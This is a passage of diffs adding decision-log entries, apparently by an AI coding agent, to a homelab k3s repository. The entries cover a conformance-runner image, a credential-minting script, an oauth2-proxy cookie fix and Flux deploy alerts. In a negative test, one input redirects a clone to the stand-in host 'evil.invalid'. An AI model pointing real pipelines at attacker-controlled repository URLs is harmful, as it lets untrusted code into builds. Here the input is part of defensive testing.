+**redirected** `CONFORMANCE_REPO_URL=https://evil.invalid/x.git`; a `CONFORMANCE_SRC` off the
+workspace volume. And the positive case: a real anonymous clone of this repo at a real 40-hex
+SHA, with `rev-parse HEAD` proven equal to the requested SHA.
+
+Two bugs of my own that only running it could have found, both fixed: the workspace-path guard
+matched `/workspace/*` and so **rejected the image's own `HOME=/workspace`**; and the negative
+checks were written as pipelines, which under `pipefail` aborted the verify at the first
+expected failure and silently skipped the remaining six. A verify that stops early looks
+identical to a verify that passed.
+
+### There is no `approval-policy` CI stage, and `conformance/**` is not a protected path
+
+My brief told me to expect this PR's CI to fail on an `approval-policy` stage because
+`conformance/**` is a security-relevant path requiring human approval. **I repeated that before
+checking it. It is not true:**
+
+| Claim | Measured |
+|---|---|
+| an `approval-policy` CI stage exists | **No.** `grep -rn 'approval-policy\|approval_policy' .gitea/ ci/` → nothing. `.gitea/workflows/gate.yml` has jobs `gate` and `conformance`; `merge-gate.yaml` has `spec-immutability, lint, l0, render-golden, l1, conformance, merge-gate`. No approval job in either. |
+| `conformance/**` is a protected path | **No.** `GET /branch_protections` → `protected_file_patterns: ''`. No path-based rule of any kind, and no `CODEOWNERS` file in the repo. |
+| required status checks | `status_check_contexts: ['gate / gate (pull_request)']` — one context, and it is not an approval stage. |
+
+What actually blocks this PR is `required_approvals: 1` with `block_admin_merge_override: true`,
+and `gitea-admin` authors every agent PR and cannot self-approve. That is a **merge** block, not
+a CI failure — the distinction matters, because "expect a red X" and "expect a green run that an
+agent still cannot merge" send a reviewer to different places. Left in as a correction rather
+than quietly deleted.
+
+### What PR #18's CI actually did, read out of the job log
+
+Read from `/Home-Network/home-network-k3s-impl/actions/runs/128/jobs/0/logs`, not off the tick,
+because a skipped Gitea job reports `success`:
+
+    [skip] stage spec-immutability: SKIPPED (not run)
+    [ ok ] stage lint: pass
+    [ ok ] stage l0: pass
+    [ ok ] stage render-golden: pass
+    [ ok ] stage l1: pass
+    [ ok ] stage gitea-settings: pass
+    [skip] stage conformance: SKIPPED (not run)
+    [fail] MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED.
+
+`gate / gate (pull_request)` = **success in 1m36s**, and that success means **rc 3, tolerated**
+by `./ci/gate.sh || [ "$?" -eq 3 ]` — not rc 0. `gitea-settings` ran and passed in CI with
+`REQUIRE_GITEA_SETTINGS=true`, so CI is *more* complete there than the local toolbox run, where
+that stage can only skip. That measurement predates this rework's force-push; CI has not been
+re-read since.
+
+### The gate, on the reworked branch, today
+
+    ENGINE=<worktree shim> DEV_KUBECONFIG=/dev/null ./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'
+    → rc 3, MERGE GATE: UNDETERMINED. Nothing FAILED.
+
+    [ ok ] spec-immutability   [ ok ] decisions-log   [ ok ] lint
+    [ ok ] l0                  [ ok ] render-golden   [ ok ] l1
+    [skip] gitea-settings      (SETTINGS_API_TOKEN not set — unwired repo-wide)
+    [skip] conformance         (CLUSTER_AVAILABLE != true) — L2/L3 UNVERIFIED
+    Stages that did not run: gitea-settings
+
+`decisions-log` is the stage PR #24 added; it ran against this branch and passed — "archive
+frozen, 2 entries well-formed" — so this file's shape is machine-checked, not eyeballed.
+Diff base `origin/main @ c59fe9f923c4` (this branch was rebased onto main after #24 merged).
+Touched requirements resolved to
+`R-SEC-02 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04`; all five remain **L2/L3-UNVERIFIED**. This
+is **not** a green run and is not offered as one.
+
+### The rework itself
+
+`git diff origin/main...HEAD --name-only` lists only the five `conformance/` paths plus this
+file — `DECISIONS-LOG.md` is gone from the branch. `git diff pr18-orig HEAD -- conformance/`
+is empty, so the code is byte-identical to the pre-rework tip, file modes included
+(`build-image.sh` and `conformance-clone` both `100755`).
+
+## What I did NOT verify
+
+- **The image has never run in the cluster.** Everything above is local podman. Admission has
+  not been exercised against it, because there is no digest to reference yet.
+- **The image is not pushed anywhere**, so `CONFORMANCE_RUNNER_IMAGE_DIGEST` is empty. Empty on
+  purpose: it fails visibly in whatever renders the Job, whereas a guessed digest would look
+  like an `ImagePullBackOff` cluster fault. Pushing needs a registry credential and is an
+  operator action — `build-image.sh` prints the exact commands.
+- **The image was not rebuilt during this rework.** Moving where the handoff lives must not
+  change what the branch claims to have proven, so no build was run; the image measurements
+  above are the ones taken when the code was written, against this same code.
+- **chainsaw's cosign signatures are not verified** by this image. Only kubectl's `sha256` is.
+  The cosign path is named as a TODO, not implemented.
+- **The 4th policy rule does not exist**, so `conformance-clone` is available but not required.
+  The initContainer injection hole is open until that separate PR lands.
+- **L2/L3 still do not run in CI** (`vars.CLUSTER_AVAILABLE` unset). This image is a
+  prerequisite for closing that hole, not the closure. R-SEC-02 and R-TEST-01..04 are untested
+  at L2/L3.
+- **`gitea-settings` skipped in my local gate run**, so branch protection and runner
+  registration are UNVERIFIED by this run. The CI-side claims quoted above were measured
+  earlier, against the pre-rework head.
+- **The post-force-push CI run has not been read.** The `gate / gate (pull_request)` result
+  quoted above is from run 128 on the old head.

decisions/2026-09-29-conformance-trigger-kubeconfig.md

@@ -0,0 +1,125 @@
+---
+date: 2026-09-29
+branch: feat/conformance-trigger-kubeconfig
+title: The trigger credential script — it REFUSES, on purpose, and it is UNEXECUTED
+---
+
+## What changed
+
+Delivered `infra/gitea/conformance-trigger-kubeconfig.sh` —
+`docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 6 — plus its section in
+`infra/gitea/README.md`. **The script is UNEXECUTED.** Minting a cluster credential and
+changing Gitea variables are operator actions; nothing was minted, no Gitea object was
+written, no `kubectl` mutation was made. Everything below is a claim about the *script*,
+not about the platform.
+
+*What it does.* Mints a token for `conformance/conformance-trigger` (TokenRequest), wraps
+**only that token** with the cluster CA and server into a kubeconfig, stores it as the
+Actions secret `CONFORMANCE_TRIGGER_KUBECONFIG` (legal name — **not** the reserved `GITEA_`
+prefix), and sets `vars.CLUSTER_AVAILABLE` only as a separately-requested,
+precondition-gated, TTY-confirmed final step. The token is never printed and never reaches
+argv: it goes into a 0600 file and into the PUT **body file**. The script refuses to run
+under `set -x`.
+
+*The design decision worth reviewing: TWO precondition classes.*
+
+- **mint-blocking (cluster-side):** SA/Role/RoleBinding present, and ClusterPolicy
+  `conformance-trigger-job-shape` present + `Enforce` + `failurePolicy: Fail` + Ready. If any
+  fails, **nothing is minted**. Rationale: Kubernetes puts no `use` check on a Job's
+  `serviceAccountName`, so a `create jobs` token in that namespace IS the privileged
+  `conformance-runner` identity unless the admission policy bounds it. RBAC cannot fix that
+  (plan §4); minting before the boundary is live would hand CI the escalation the boundary
+  exists to close.
+- **arm-blocking (repo-side):** digest-pinned `CONFORMANCE_RUNNER_IMAGE`, an init-container
+  plus the admitted image in `chainsaw-job.yaml`, and `CONFORMANCE_TRIGGER_KUBECONFIG`
+  referenced in `ci/conformance.sh` **code rather than a comment**. These block only the
+  variable, because storing the secret early is harmless and is the plan's own order.
+
+**Measured in the tree at the time of writing: all three arm-blocking checks FAIL** (no
+`CONFORMANCE_RUNNER_IMAGE` in `conformance/versions.env`; `chainsaw-job.yaml` is still the
+skeleton with an empty `workspace` emptyDir and the stock chainsaw image; `ci/conformance.sh`
+names the trigger kubeconfig only in its TODO comment). So on a live run today the script
+would provision the secret and then **refuse to arm `CLUSTER_AVAILABLE`**, naming each
+missing item — which is the intended behaviour, not a defect. §3 items 1, 2 and 4 are the
+work that unblocks it.
+
+*Both writes are verified the way `set-ci-token.sh` learned to.* `curl -sS` exits 0 on an
+HTTP error, so status alone proves nothing: each write checks `%{http_code}` **and** reads
+the object back. For the secret that is presence-by-name only (Gitea never returns secret
+values) and the script says so rather than implying the content was checked; for the variable
+it asserts the value reads back as exactly `true`.
+
+*Noted, not fixed at the time (since fixed on this branch).* `infra/gitea/README.md`'s
+detector table still named `GITEA_SETTINGS_TOKEN` — the illegal name PR #15 replaced with
+`SETTINGS_API_TOKEN`. The second commit on this branch corrects the README's table and its
+closing "remaining step" line, and records what `ci/gitea-settings.sh` actually does
+(`TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"` — the old name survives only as a
+local-run environment variable, never as CI wiring, because the secret that would feed it
+cannot be created at all). Documentation only, no behaviour change. Still NOT fixed, because
+it is outside this PR's diff: `ci/gitea-settings.sh:45` instructs the reader to create a repo
+secret `GITEA_SETTINGS_TOKEN`, which is impossible.
+
+*Rework, 2026-09-29.* This branch originally appended ~99 lines to the tail of
+`DECISIONS-LOG.md`. That is the hunk every concurrent branch collided on and the sole reason
+PR #19 was `mergeable: false`. The branch was rebuilt on today's `main` with the
+`DECISIONS-LOG.md` change dropped entirely, and this file is that handoff moved into
+`decisions/`. The changes to `infra/gitea/**` are byte-identical to the original three
+commits; the commit that contained only the log append was dropped and its substance folded
+in below.
+
+## What I verified
+
+*Of the script, before it stores anything:* it PROVES the credential narrow — `auth whoami`
+must return `system:serviceaccount:conformance:conformance-trigger`; a real `get jobs`
+round-trip must succeed; then an `auth can-i` matrix asserts BOTH halves — granted
+(`create/get jobs`, `get pods`, `get pods/log`) and **denied** (`delete jobs`, `create
+pods/exec`, `get secrets`, `create jobs` in `default`, `get nodes`,
+`'*' '*' --all-namespaces`). A mismatch aborts before anything is stored, and the message
+says explicitly **not** to widen `conformance/incluster/rbac.yaml` to make it pass. That is a
+property of the code as read, not of an execution.
+
+*Of PR #19's CI, measured rather than assumed — and it contradicts the brief.* The brief for
+this work stated this PR's CI would FAIL `approval-policy` because `infra/gitea/**` is
+security-relevant. Measured on the PR head commit's `/statuses`:
+
+    gate / gate (pull_request)          success   Successful in 1m34s
+    gate / conformance (pull_request)   pending   Blocked by required conditions
+
+`.gitea/workflows/` on `main` contains only `gate.yml` and the dormant `merge-gate.yaml`.
+**No path-scoped approval policy exists**, so nothing machine-enforces "security-relevant
+paths need a human"; that rule rests entirely on `required_approvals: 1` plus a reviewer
+actually reading the diff. Another instance of the CLAUDE.md §2b failure mode — a control
+believed to exist because a brief said so. If the policy is intended, it is missing and needs
+its own change. And per this repo's own rule, that green `gate` tick is **not** evidence this
+script works: the gate never executes `infra/gitea/**`, and the L2/L3 stage skipped.
+
+*Gate on the reworked branch (pinned toolbox, from the agent worktree, `DEV_KUBECONFIG=/dev/null`
+plus the `ENGINE` bind-mount shim per CLAUDE.md §3):* `MERGE GATE: UNDETERMINED`, **rc 3**.
+Diff base `origin/main @ c59fe9f923c4` ... this branch's head; touched requirement resolved as
+`R-ENV-01`. `spec-immutability`, `decisions-log`, `lint`, `l0`, `render-golden` and `l1` all
+green; the gate decision names exactly one stage that did not run — `gitea-settings`
+(`SETTINGS_API_TOKEN` is a credential this agent does not hold, unwired repo-wide). The
+`conformance` stage also reported SKIPPED (`CLUSTER_AVAILABLE!=true`, Phase 0). The new
+`decisions-log` stage — merged to `main` as PR #24 after this rework began — validated this very
+file: "archive frozen, 2 entries well-formed", with `DECISIONS-LOG.md` unchanged and matching
+`decisions/ARCHIVE.sha256`. rc 3 is UNDETERMINED, not green, and is not reported as green here.
+
+## What I did NOT verify
+
+**The script has never executed.** Not one line of it has run against Gitea or against the
+cluster. Only `bash -n` was run (clean); `shellcheck` is not on the host and there is no
+shellcheck stage in the gate.
+
+- The Gitea variables API shape (POST-creates / PUT-updates, body field `value` not `data`)
+  is from **documentation, not measurement**. The script tries POST then falls back to PUT,
+  prints the response body on failure, and treats the read-back as the authority.
+- The Kyverno readiness field (`.status.ready` vs. a Ready condition) is handled both ways
+  and treats "neither present" as a block rather than assuming ready — but which form this
+  cluster actually reports is **unmeasured**.
+- Whether the kubeconfig's embedded server URL is reachable from the runner pod **cannot be
+  known from here** — hence `--server`, and a hard refusal on a loopback address.
+- No credential was minted, no Actions secret was created, `vars.CLUSTER_AVAILABLE` was not
+  set, and no `can-i` matrix was ever run against a real token. The narrowness argument above
+  is read from the RBAC and the script, not observed.
+- The gate proves only its L0/L1 offline subset. L2/L3 conformance did not run, so nothing
+  here is evidence about runtime behaviour.

decisions/2026-09-29-crafty-oauth2-proxy-signin.md

@@ -0,0 +1,123 @@
+---
+date: 2026-09-29
+branch: fix/crafty-oauth2-proxy-signin
+title: Crafty "won't sign in after Keycloak" — the gate was fine, Crafty's own login was the wall
+---
+
+## What changed
+
+Reported as *"crafty utilizing the keycloak oauth2-proxy does not sign in to the service after
+signing into keycloak; there is no way to set the service up without credentials."* The sidecar's
+own access log settles which layer refused, and it is not the one the report names:
+
+    GET /                            -> 302 to Keycloak
+    [AuthSuccess] ... groups:[platform-admins]        <- oauth2-proxy did its job
+    GET /oauth2/callback             -> 302
+    GET /panel/dashboard             -> 302
+    GET /login?next=/panel/dashboard -> 200           <- CRAFTY's own login page
+    POST /api/v2/auth/login/         -> 401           <- CRAFTY refused
+
+**The Keycloak gate was never broken.** Crafty 4 has no OIDC and cannot consume the sidecar's
+identity headers, so it presents its own local login to an already-authenticated user. That second
+factor is intended. What was not intended — and what made the service genuinely impossible to set
+up — is that **nothing documented where that password comes from**. Crafty generates it **once, on
+first boot only** (users table empty → `DatabaseBuilder.default_settings()`) into
+`/crafty/app/config/default-creds.txt`, mode `0600`, on the PVC's `config` subPath. Never in git; a
+fresh PVC generates a new one and the old is gone with the volume. `platform/crafty/README.md`
+asserted the double login was "expected, not a bug" and then left the reader with no way forward —
+the assertion was true and useless in the same sentence.
+
+So this branch:
+
+- Adds `runbooks/crafty-admin-credential.md` — tell the two auth layers apart from the sidecar log,
+  retrieve and rotate the bootstrap credential, and reset a lost one via argon2. Registered in the
+  runbooks `configMapGenerator`/`kustomization.yaml` and listed in `runbooks/README.md`, so the URL
+  actually resolves rather than the file merely existing.
+- Documents the credential's provenance and the two auth layers in `platform/crafty/README.md`.
+- **Fixes a second, real defect found while proving the first.** Both oauth2-proxy instances emitted
+  oauth2-proxy's **default** cookie names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to
+  `.home.keithjackson.dev`, while holding **different** cookie-secrets. One cookie pair, two
+  proxies: whichever authenticated last clobbered the other's session; the loser logged `No valid
+  authentication in request`, bounced to Keycloak, and — SSO session still live — was redirected
+  straight back, clobbering it again. **That mutual eviction presents exactly as the reported
+  symptom**, intermittently, and would have been blamed on Keycloak indefinitely. Fixed on the
+  crafty side only (renaming the shared proxy's cookie would sign out every other gated app): a
+  unique `--cookie-name=_oauth2_proxy_crafty` plus a **host-scoped** `--cookie-domain`.
+  `--whitelist-domain` stays zone-wide — it governs post-login *redirect* targets, not cookie scope.
+
+**Considered and rejected: seeding `default.json` from a SOPS Secret.** Crafty does ship the hook —
+`find_default_password()` reads `app/config/default.json` (`username`, `password`, min 8 chars) and
+`delete_default_json` controls its removal — so an initContainer could make a rebuilt Crafty's admin
+password deterministic and git-managed. Rejected: the image entrypoint pulls its default config
+**only when `app/config` is empty** (`if [ ! "$(ls -A --ignore=.gitkeep ./app/config)" ]; then cp -r
+./app/config_original/* ./app/config/`). Writing `default.json` there pre-boot makes the directory
+non-empty and **suppresses the entire config bootstrap** — no `config.json`, no `credits.json`.
+Doing it safely means replicating the entrypoint's copy inside the initContainer, i.e. co-owning
+image-internal bootstrap logic that a 4.11 bump can change silently, to replace a one-command
+retrieval. Not worth it. If it is ever revisited, the `ls -A` guard is the landmine to design around.
+
+## What I verified
+
+- **Which layer refused**, from the sidecar's own access log: `[AuthSuccess] ...
+  groups:[platform-admins]` followed by Crafty's `/login` page and `POST /api/v2/auth/login/ → 401`.
+  oauth2-proxy admitted the user; Crafty rejected the local credential.
+- **The existing bootstrap credential is still usable**, so no DB surgery is needed to get in:
+  `users.last_update` **equals** `users.created` for `admin` (`09/05/2026, 08:10:04`) — the password
+  has never been changed — and admin's `last_login` is 09/14 from `127.0.0.1`, the API login that
+  created the "homelab" server. `default-creds.txt` is therefore live.
+- **The two cookie-secrets differ** — compared the two live Secrets (key presence/values compared
+  in-cluster, not printed), so neither proxy can decrypt the other's cookie; and both instances were
+  emitting the default cookie names on the shared `.home.keithjackson.dev` scope.
+- **The 3-strikes cooldown cannot fire behind this sidecar.** Crafty *records* failed attempts under
+  `get_remote_ip()` (honours `X-Forwarded-For` — the live tracker key is the chain
+  `"192.168.2.132, 10.0.0.123"`, with 1 attempt: the reported 401) but *checks* the cooldown under
+  `self.request.remote_ip`, always `127.0.0.1` here. The halves key differently, so
+  `get_recent_attempts()` always reads empty and `max_login_attempts: 3` never fires. Good
+  (**repeated guesses cannot lock the operator out**) and bad (that throttle is not a control we
+  have; the `platform-admins` gate is the only thing limiting who reaches the form). I had written
+  the opposite into the README from the config value alone before measuring it — the config key
+  existing is not the same claim as the code path running.
+- **`set_passwd` is unreachable in k8s**: it calls `getpass.getpass()` and needs a TTY; the container
+  runs `main.py -d -i`. Recovery must go through the DB.
+- **argon2 is installed only in `/crafty/.venv/bin/python`** — the system `python3` in that container
+  cannot import it, so the obvious reset one-liner fails.
+- **`dev.sh` does not forward stdin.** A `kubectl exec -i` through it hangs forever (provoked, not
+  assumed). So the runbook's reset generates its password **in-pod** into a `0600` file — Crafty's own
+  `default-creds.txt` idiom — rather than passing a secret through argv, stdin or shell history.
+- **Gate:** toolbox `./ci/gate.sh` — see the next section for the exit code. Green stages:
+  `spec-immutability`, `lint`, `l0`, `render-golden`, `l1`.
+
+## What I did NOT verify
+
+- **No browser round-trip.** The sign-in fix is **UNVERIFIED end-to-end**. The cookie change is
+  reasoned from measured facts (default cookie names on both, shared domain, differing secrets) and
+  renders correctly, but nobody has signed in through it. The human test is in
+  `platform/crafty/README.md`.
+- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. The running pod is
+  still the pre-fix spec (`crafty-64f7b6d78-pkpgp`, 2/2, 15d, 0 restarts — unchanged by this
+  session's read-only probes). **Merging is what deploys, and it will restart the pod** —
+  `strategy: Recreate` on an RWO volume, so the "homelab" Minecraft server stops and restarts. Pick
+  the moment.
+- **Gate rc 3, not 0.** Green: `spec-immutability`, `lint`, `l0`, `render-golden`, `l1`. **Skipped:**
+  `gitea-settings` (no `SETTINGS_API_TOKEN`) and **L2/L3 conformance** (`CLUSTER_AVAILABLE` unset) —
+  touched requirements `R-DNS-01 R-NET-01 R-OBS-04 R-PLAT-02 R-STATE-01` are **not certified**.
+  Nothing failed; nothing runtime was proven either. **rc 3 is UNDETERMINED, not green.**
+- **The admin password was not rotated**, and the bootstrap credential is still the standing admin
+  credential. The runbook says to rotate on first sign-in; that is an operator action and is still
+  open.
+- **The cookie collision's symptom was never reproduced in a browser.** This is the part of the
+  change with no observed failure to point at — the sidecar trace above shows a *working* session,
+  because that browser had not visited another gated app first. It is a latent-bug fix.
+
+### Follow-ups
+
+1. **Sign in and rotate** — `runbooks/crafty-admin-credential.md`, then confirm `last_update` moves
+   off `created`. Until then the panel's admin password is a value generated on 2026-09-05 that has
+   sat unchanged and undocumented.
+2. **Decide whether the inert brute-force cooldown matters.** Fixing it is upstream (Crafty keys the
+   two halves differently); the alternative is to accept the `platform-admins` gate as the only
+   throttle and say so.
+3. **Any further per-app reverse-proxy sidecar needs a unique `--cookie-name` too.** The collision is
+   a property of the pattern, not of Crafty. Worth an L0 check asserting that every oauth2-proxy
+   instance in the tree declares a distinct cookie name — the failure is silent and intermittent,
+   which is exactly the shape this repo keeps getting burned by.

decisions/2026-09-29-decisions-log-conflict-free.md

@@ -0,0 +1,82 @@
+---
+date: 2026-09-29
+branch: chore/decisions-log-conflict-free
+title: The handoff log was serialising every parallel branch — it is a directory now
+---
+
+## What changed
+
+`DECISIONS-LOG.md` is frozen and the handoff log is now a directory, `decisions/`, with one
+file per entry (`YYYY-MM-DD-<slug>.md`). Concurrent branches write disjoint paths, so there
+is nothing for git to merge.
+
+The problem was not any particular change. CLAUDE.md §7 told every agent to append a handoff,
+and appending always landed on the *same last hunk* of one 5,228-line file. Two branches that
+both did it could not auto-merge; N branches cost N-1 rebases, and each rebase invalidated the
+gate run before it. The agents work in isolated worktrees precisely so they don't block each
+other, and this one file undid that.
+
+- `decisions/README.md` — the convention, the template, and how to read the log. No index file
+  and no sequence number, deliberately: an index is a shared mutable file (the thing that just
+  failed) and a counter has two agents racing for the same number. The directory listing is the
+  index.
+- `DECISIONS-LOG.md` — a "FROZEN ARCHIVE" header prepended; content otherwise untouched. Its
+  SHA-256 is pinned in `decisions/ARCHIVE.sha256`.
+- `ci/decisions-log.sh` — a new gate stage. Asserts the archive matches its pin, and that every
+  entry is named `YYYY-MM-DD-<slug>.md` with a real date, carries `date`/`branch`/`title`
+  frontmatter agreeing with its filename, and has all three of §7's sections with a real body
+  under each. Exit 0 or 1 only; it has no skip path by construction, because it reads only files
+  in the tree under test and needs no tool and no cluster.
+- `ci/gate.sh` — runs the stage; both `fail` and (impossible) `skip` set `BLOCK`. There is no
+  `REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard.
+- `ci/tests/decisions-log.test.sh` — 22 assertions, new.
+- `ci/tests/gate-decision.test.sh` — 3 new assertions for the stage's wiring, **plus a
+  pre-existing bug fixed**: its stub list never included `gitea-settings`, so that stage's
+  script was absent from the stub CI dir, `run_stage` recorded exit 127 as a FAILED stage in
+  every case, and 15 of 47 assertions failed on `main`. The suite was measuring its own missing
+  stub rather than the decision logic.
+- `CLAUDE.md` §7 rewritten; §1's "stale runbook wording" caveat extended to the log.
+- `ci/Makefile`, `ci/README.md`, `.gitea/workflows/README.md` — the stage named where stages are
+  named.
+
+A guard rather than a paragraph, because the old habit is written into the runbooks and into
+every agent that has read the log, and getting it wrong does not fail: it produces a clean-looking
+commit that re-creates the conflict on *other people's* branches, later, misattributed.
+
+## What I verified
+
+Measured against the live Gitea (`GET /api/v1/repos/Home-Network/home-network-k3s-impl/pulls`,
+2026-09-29), not inferred from the tree:
+
+    #22 fix/crafty-oauth2-proxy-signin      mergeable=False
+    #20 feat/conformance-job-template       mergeable=False
+    #19 feat/conformance-trigger-kubeconfig mergeable=False
+    #18 feat/conformance-runner-image       mergeable=False
+    #17 feat/ci-is-the-approver             mergeable=True
+
+`git merge-tree --write-tree origin/main origin/<branch>` for each named
+`CONFLICT (content): DECISIONS-LOG.md` and **no other conflicting path** in all four. #17 is
+clean and touched no log entry. So the log's storage format was the whole of the blockage.
+
+Tests: `ci/tests/decisions-log.test.sh` **PASS (22 assertions)**, including the one that
+matters — an append to `DECISIONS-LOG.md` exits non-zero and the message names both the frozen
+archive and the file to write instead. `ci/tests/gate-decision.test.sh` **PASS (50 assertions)**,
+up from **FAIL (15 failed, 32 passed)** on `main` before the stub fix.
+
+Gate: see the run quoted in the PR description.
+
+## What I did NOT verify
+
+- **Nothing was applied and nothing was merged.** No `kubectl`, no `flux reconcile`. This change
+  touches only CI and documentation; it has no cluster-visible effect at all.
+- **L2/L3 conformance did not run** (`CLUSTER_AVAILABLE` unset), as always. Irrelevant to this
+  change's content but stated so the gate result is not over-read.
+- **I have not watched a Gitea PR check run this stage.** The stage is proven by its own unit
+  test and by the gate locally; that the `incluster-dind` runner executes it is unobserved here.
+  A skipped Gitea job still reports `success`, so read the job log, not the tick.
+- **The four hung PRs are not yet fixed by this commit.** They still carry their
+  `DECISIONS-LOG.md` appends and will still conflict until each is rebased onto this change with
+  its append converted to a `decisions/` entry. That is follow-up work, in flight separately.
+- **`runbooks/` and older entries still say "append to DECISIONS-LOG.md"** in places. I did not
+  sweep them. The gate now rejects the action, so the stale wording misleads but cannot cause
+  the damage; it joins the existing tracked work on stale `git push origin main` wording.

decisions/2026-09-29-flux-deploy-notifications.md

@@ -0,0 +1,144 @@
+---
+date: 2026-09-29
+branch: feat/flux-deploy-notifications
+title: Flux deploy notifications — the operator now gets mail when a git change starts rolling out and when it completes
+---
+
+## What changed
+
+The operator was getting **no notification when Flux began applying a git change, and none when it
+finished**. Root cause, measured rather than inferred: `notification-controller` v1.4.0 is running
+(`1/1` ready) and the `Provider`/`Alert`/`Receiver` CRDs are installed and serving `v1beta3`, but
+there are **zero `Provider` and zero `Alert` objects in the entire cluster** (`kubectl get
+providers,alerts -A` → `No resources found`). Nothing in git ever created any. The five `gotk_*`
+rules in `platform/monitoring/alerts.yaml` only cover *failures* (`FluxReconciliationFailure`,
+`FluxResourceSuspended`) — nothing covered the healthy path.
+
+**The obvious fix does not work, and this is the substance of the change.** Neither Flux event can be
+filtered into a deploy signal:
+
+- `ReconciliationSucceeded` is a **heartbeat, not a change signal**. 16 Kustomizations, 15 on
+  `interval: 10m` → **101 such events in one hour**, with the message `Reconciliation finished in
+  324.161192ms, next run in 10m0s` — byte-identical in shape whether the apply changed anything or
+  not. An `Alert` at `eventSeverity: info` would have mailed ~100 times an hour.
+- `Progressing` is worse. Five Kustomizations re-apply the same object on **every** tick — event
+  counts **2505 / 2504 / 2501 / 2495 / 2490** (`apps-vms` → `NetworkPolicy/unifi/default-deny`,
+  `platform` → `CustomResourceDefinition/cdis.cdi.kubevirt.io`, `apps-wave-0/1/2` →
+  `NetworkPolicy/{gitea,nextcloud,seerr}/default-deny`). Anything keyed on `Progressing` would mail
+  five times every ten minutes, forever.
+- `gotk_*` carries **no revision label anywhere** — `gotk_reconcile_condition` 120 series,
+  `gotk_suspend_status` 40, not one with a revision.
+
+The applied **revision** is the only signal that moves when and only when git moves, and it lives in
+object status alone. So:
+
+1. **`platform/monitoring/kube-prometheus-stack.yaml`** — two resources added to the *existing*
+   `kube-state-metrics.customResourceState` config (the Velero-Schedule path, already enabled):
+   `kube_flux_kustomization_info{revision}` + `kube_flux_kustomization_suspended` (from
+   `status.lastAppliedRevision` / `spec.suspend`) and `kube_flux_gitrepository_info{revision}` (from
+   `status.artifact.revision`). Plus the two mandatory read-only `rbac.extraRules` entries, and a
+   `podAnnotations` roll-counter — the chart sets **no checksum annotation** over that ConfigMap, so
+   a config-only edit would have left KSM running the old collector set with the new metrics absent
+   and the new alerts silently inert. Named `kube_flux_*`, never `gotk_*`, for the same reason
+   `kube_velero_schedule_*` is not `velero_*`: these are KSM series about Kubernetes objects.
+   Cost: 33 series.
+2. **`platform/monitoring/alerts.yaml`**, group `platform-health.flux` — `FluxRolloutInProgress`
+   (`severity: info`, **no `for:`**) fires the moment any non-suspended Kustomization's applied
+   revision is not the revision the GitRepository fetched from `main`, and **clears when all have
+   caught up**. Fired mail = "a deploy started"; **resolved mail = "it completed"** — the completion
+   half is delivered by `send_resolved`, not by a second rule. `FluxRolloutStuck` (`severity:
+   warning`, `for: 30m`) is the same expression as the escalation for a rollout that started and
+   never converged.
+3. **Alertmanager** — a dedicated `severity = "info"` route and `email-deploy` receiver, subject
+   `[FLUX] applying|applied — …`. Without it a routine deploy would have arrived subject-lined
+   `[WARNING]` via the catch-all receiver and become indistinguishable from a real fault.
+   `group_by: [alertname]` collapses all 16 Kustomizations into one mail per rollout;
+   `group_interval: 2m` so completion is not held 4m behind the event.
+4. **`platform/monitoring/tests/flux-rollout.test.yaml`** — 6 promtool scenarios, both directions.
+5. **`runbooks/flux-rollout.md`** (+ its `configMapGenerator` entry) and a `kube_flux_` entry in
+   `conformance/tests/l0-static/alert-metrics-have-scrape-targets/check.sh` whose `require` patterns
+   pin `customResourceState`, both `metricNamePrefix`es, both `apiGroups` and the roll-counter — so
+   deleting any of them fails the gate instead of silently re-inerting the alerts.
+
+Two guards in the expression, each with a test whose only job is to fail if that clause is removed:
+`and on () (count(kube_flux_gitrepository_info…) > 0)` (without it, a missing exporter makes
+`unless on (revision) <empty>` remove nothing and **all 16 Kustomizations alert forever** — the
+permanently-firing mode this repo shipped once already), and `unless on (namespace, name)
+(kube_flux_kustomization_suspended == 1)` (a suspended Kustomization pins an old revision by design
+and would hold the rollout open, so the "applied" mail would never arrive).
+
+## What I verified
+
+Measured against live prod (`--context k3s-prod`) **before** writing anything, and quoted here as
+measured:
+
+- `notification-controller` `1/1`, image `ghcr.io/fluxcd/notification-controller:v1.4.0`;
+  `alerts`/`providers`/`receivers.notification.toolkit.fluxcd.io` all serve `v1beta3` (storage);
+  `get providers,alerts -A` → **`No resources found`**. This is the defect.
+- Event counts above, from `kubectl get events -A -o json` filtered to `toolkit.fluxcd.io`
+  involvedObjects: 101 `Kustomization/ReconciliationSucceeded`, 10 `Progressing`, 15
+  `DependencyNotReady`, 4 `GitRepository/GitOperationSucceeded`, 1 `NewArtifact`.
+- The `gotk_*` family **is** in the TSDB now (`flux-podmonitor` works): 6 targets up in job
+  `flux-system/flux-system`, `gotk_reconcile_condition` 120 series, `gotk_suspend_status` 40
+  (`{kind="Kustomization"}` = 16) — and none carries a revision.
+- `customResourceState` already works end to end: `kube_velero_schedule_{created,paused,
+  protects_volume_data,info}` = 2 series each.
+- Both CRDs serve **`v1` as the storage version**; `GitRepository/flux-system`
+  `.status.artifact.revision` = `main@sha1:b93594b7c85aeec4d28e008b239d61d181e1e6de`, `spec.interval`
+  `1m`; all 16 Kustomizations report that same `lastAppliedRevision`; **none** sets `spec.suspend`
+  (which is why `nilIsZero: true` is mandatory).
+- Reachability for the follow-up below: `flux-system/allow-egress` is `egress: [{}]` (allow-all) and
+  the `monitoring` namespace has **no NetworkPolicy at all**, so nothing blocks flux-system →
+  `kube-prometheus-stack-alertmanager` (`10.43.60.242:9093`).
+- `promtool test rules` on the new suite: **SUCCESS**, 53 rules parsed, promtool 3.14.0 from the
+  pinned toolbox. All 6 scenarios pass, including both guard tests and the convergence test that
+  proves the alert empties itself (the completion mail).
+- Full gate in the pinned toolbox: `lint`, `l0`, `render-golden`, `l1`, `decisions-log`,
+  `spec-immutability` all **green** — `l0` includes `alert-metrics-have-scrape-targets`,
+  `alert-rules-unit-tested` and `alert-runbooks-resolvable`, i.e. the new owner entry, the new tests
+  and the new runbook all cleared their own checks. Coverage 51/51.
+
+## What I did NOT verify
+
